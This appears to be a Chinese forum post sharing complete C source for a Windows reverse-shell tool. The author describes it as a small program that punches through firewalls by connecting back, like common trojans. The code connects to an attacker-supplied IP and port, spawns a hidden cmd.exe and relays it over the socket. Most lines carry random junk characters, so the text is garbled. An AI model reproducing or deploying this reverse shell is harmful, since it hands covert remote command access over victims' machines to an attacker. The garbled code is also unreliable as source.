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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 M4}b l h#  
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/* ============================== )i/x%^ca$  
Rebound port in Windows NT `=%mU/v  
By wind,2006/7 )=TS)C4  
===============================*/ L S%;ZKJ  
#include q=x1:^rVH  
#include Xn6'*u>+;[  
B%(-UTQf  
#pragma comment(lib,"wsock32.lib") ;%^T*?t  
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void OutputShell(); R>B4v+b  
SOCKET sClient; y^}00Z+l  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; jM[]Uh  
f#3!Q!C^  
void main(int argc,char **argv) Z(c2F]  
{ "JpnmE[`  
WSADATA stWsaData; iM_Zn!|@\  
int nRet; L(`Rf0smt  
SOCKADDR_IN stSaiClient,stSaiServer; 94'0X  
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if(argc != 3) NsF8`r g  
{ 4h$W4NJK  
printf("Useage:\n\rRebound DestIP DestPort\n"); ;oivG)hJl  
return; :>o2UH  
} " "{#~X}  
f[+N=vr  
WSAStartup(MAKEWORD(2,2),&stWsaData); IgNL1KRD  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !A=>B=.|D  
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stSaiClient.sin_family = AF_INET; W?2Z31;7  
stSaiClient.sin_port = htons(0); 1gh<nn  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); f{ER]U  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) X%]m^[6  
{ B^lm'/,@  
printf("Bind Socket Failed!\n"); E;Q ,{{#  
return; 09w<@#  
} N3?@CM^hHw  
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stSaiServer.sin_family = AF_INET; @`H47@e  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); +"F9yb  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ht5eb"c+ 8  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) &M2SqeR62;  
{ }.74w0~0^  
printf("Connect Error!"); TYN~c(  
return; mQ qv{1  
} :Miri_l  
OutputShell(); ^Uq"hT(41  
}  b@m\ca  
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void OutputShell() 1:VbbOu->V  
{ i! DO  
char szBuff[1024]; |)+; d  
SECURITY_ATTRIBUTES stSecurityAttributes; jk-e/C  
OSVERSIONINFO stOsversionInfo; )%D>U  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 76j5  
STARTUPINFO stStartupInfo; ~T'Ri=  
char *szShell; o:8*WCiqrN  
PROCESS_INFORMATION stProcessInformation; N]iu o.  
unsigned long lBytesRead; sfw lv^  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); l\%LT{$e  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 1@L|EFa  
stSecurityAttributes.lpSecurityDescriptor = 0; X cDu&6Dy  
stSecurityAttributes.bInheritHandle = TRUE;  a }m>  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 4IH,:w=ofN  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); BJ,9C.|  
~qP_1() ?  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); QaYUcma~n  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; GL<u#[  
stStartupInfo.wShowWindow = SW_HIDE; Sq Y$\&%  
stStartupInfo.hStdInput = hReadPipe; mtunD;_Dek  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; G!L(K  
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GetVersionEx(&stOsversionInfo); Ub_!~tb}?  
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switch(stOsversionInfo.dwPlatformId) -)Zp"  
{ a#L:L8T;j  
case 1: l}jC$B`5  
szShell = "command.com"; N9}27T+4  
break; EpsjaOmAF  
default: 7XU$O$C  
szShell = "cmd.exe"; r|,_qNrw  
break; >=+: lD  
} yPXa  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); FJCLK#-  
3Ud{W$Ym  
send(sClient,szMsg,77,0); 92 oUQ EK  
while(1) ^1mnw@04  
{ C4H$w:bVk  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); GnFm*L  
if(lBytesRead) s,;7m  
{ gCL?{oVU  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 6'[gd  
send(sClient,szBuff,lBytesRead,0); "969F(S$  
} %+ : $uk[  
else )zv"<>Q 6  
{ @=NTr  
lBytesRead=recv(sClient,szBuff,1024,0); Min {&?a  
if(lBytesRead<=0) break; pqDlg  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Xk?Y  
} kk$D:UQX  
} f64}#E|w  
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return; <~hx ~"c  
}
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